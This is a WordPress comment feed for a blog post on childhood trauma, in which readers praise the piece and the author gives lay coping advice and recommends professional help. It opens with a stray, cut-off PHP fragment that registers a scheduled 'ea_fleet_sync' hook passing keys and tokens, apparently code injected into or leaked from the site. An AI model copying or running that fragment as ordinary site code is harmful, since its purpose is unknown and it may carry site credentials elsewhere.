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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Comments on: Forget Me Not: The Callings of Childhood Experiences https://tobioloyede.com/forget-me-not-the-callings-of-childhood-experiences/ Delving into daily life issues to foster change Mon, 21 Sep 2026 00:26:29 +0000 hourly 1 https://wordpress.org/?v=7.1.3 By: akinyemi leke https://tobioloyede.com/forget-me-not-the-callings-of-childhood-experiences/#comment-114 Thu, 23 Jul 2020 18:20:23 +0000 https://tobioloyedesblog.wordpress.com/?p=263#comment-114 In addition to tobi’s reply to the anonymous comment, having an healthy and mature relationship with the non-caregiving parents shows how far you’ve come through your healing journey.

So heal first, focus on yourself, go through the process and things will definitely get better.

]]> By: tobigwrites https://tobioloyede.com/forget-me-not-the-callings-of-childhood-experiences/#comment-113 Thu, 23 Jul 2020 13:21:10 +0000 https://tobioloyedesblog.wordpress.com/?p=263#comment-113 In reply to Anonymous.

People experience a range of mental, emotional, physical, and behavioral reactions.
There are several things you can do to cope with and recover from trauma. Recovering depends on the coping mechanisms you rely on, so yes you rely on happy moments, be involved in activities that bring you joy, you can also speak out as it is therapeutic.
Seek professional help as well.

Well, what I think you’re saying regarding your second question is what happens when your parents are not being caregivers.
Well, I won’t be talking as a therapist that I’m not but I can say that once you start the healing process, you begin to forgive them for your own sake and peace. And what I do is in every experience, I take out lessons. And yes, I take it as life lesson and You could consciously try to treat them better and they would see their faults even if they don’t talk about them.
It is possible to improve your relationship with them, yet it might not be instant.
Thank you

]]> By: Anonymous https://tobioloyede.com/forget-me-not-the-callings-of-childhood-experiences/#comment-112 Thu, 23 Jul 2020 12:35:35 +0000 https://tobioloyedesblog.wordpress.com/?p=263#comment-112 Can you heal from trauma by finding the happy days during those trauma? How do you also improve your relationship with your parents if they are not your caregiver?

]]> By: Anonymous https://tobioloyede.com/forget-me-not-the-callings-of-childhood-experiences/#comment-111 Thu, 23 Jul 2020 12:32:44 +0000 https://tobioloyedesblog.wordpress.com/?p=263#comment-111 I totally agree on the fact that your childhood experiences/trauma shapes us one way or the other in how we behave today. This is a really good writing.

]]> By: jeremiah Adebiyi https://tobioloyede.com/forget-me-not-the-callings-of-childhood-experiences/#comment-110 Thu, 23 Jul 2020 08:48:50 +0000 https://tobioloyedesblog.wordpress.com/?p=263#comment-110 Nice one, dear.
Sadly I have experienced people destroy their relationship themselves because of the trauma they have suffered from their young age. I have consciously programmed my self to be aware of this issue and encourage people to seek help.
Cause every memory stored in joy or hurts shape your present character. It takes a conscious effort to realize.

]]> By: Matigari https://tobioloyede.com/forget-me-not-the-callings-of-childhood-experiences/#comment-109 Thu, 23 Jul 2020 01:22:09 +0000 https://tobioloyedesblog.wordpress.com/?p=263#comment-109 Childhood experiences which in precision are negativities are hardly forgotten. It is true that religion outlines and evangelism do not encourage such act but the reality is what is absolutely found in humanity. No matter how religious the victim tends to be, there is always an interplay of subconsciousness which makes it difficult to forget and forgive hurting childhood experiences.
The only solution however, is the emergence of maturity which assumes that one “should let go” of these inadequacies for no reason. By being possessed with this aesthetic of maturity, thoughts of retaliation and revenge could have no root. Therefore, becoming a better parent in life, or living a purposeful life has a larger ratio.

]]> By: Anonymous https://tobioloyede.com/forget-me-not-the-callings-of-childhood-experiences/#comment-108 Wed, 22 Jul 2020 23:13:43 +0000 https://tobioloyedesblog.wordpress.com/?p=263#comment-108 No truer words have been said on this subject.

Beautifully written!

]]> By: Anonymous https://tobioloyede.com/forget-me-not-the-callings-of-childhood-experiences/#comment-107 Wed, 22 Jul 2020 21:42:28 +0000 https://tobioloyedesblog.wordpress.com/?p=263#comment-107 Nice work.. kudos

]]> By: Tosin Scepter https://tobioloyede.com/forget-me-not-the-callings-of-childhood-experiences/#comment-106 Wed, 22 Jul 2020 19:26:03 +0000 https://tobioloyedesblog.wordpress.com/?p=263#comment-106 Great piece! Thank you. We need to let go of the childhood hurts and pains.

]]> By: Miracle Olu a Seun https://tobioloyede.com/forget-me-not-the-callings-of-childhood-experiences/#comment-105 Wed, 22 Jul 2020 17:37:19 +0000 https://tobioloyedesblog.wordpress.com/?p=263#comment-105 👏 Adults who still have bottled up childhood trauma may likely not become good parents themselves. Beautiful piece 👍🙌]]> Writings like this will encourage us all become the “ideal” that we missed while growing up. 👏👏

Adults who still have bottled up childhood trauma may likely not become good parents themselves.

Beautiful piece 👍🙌

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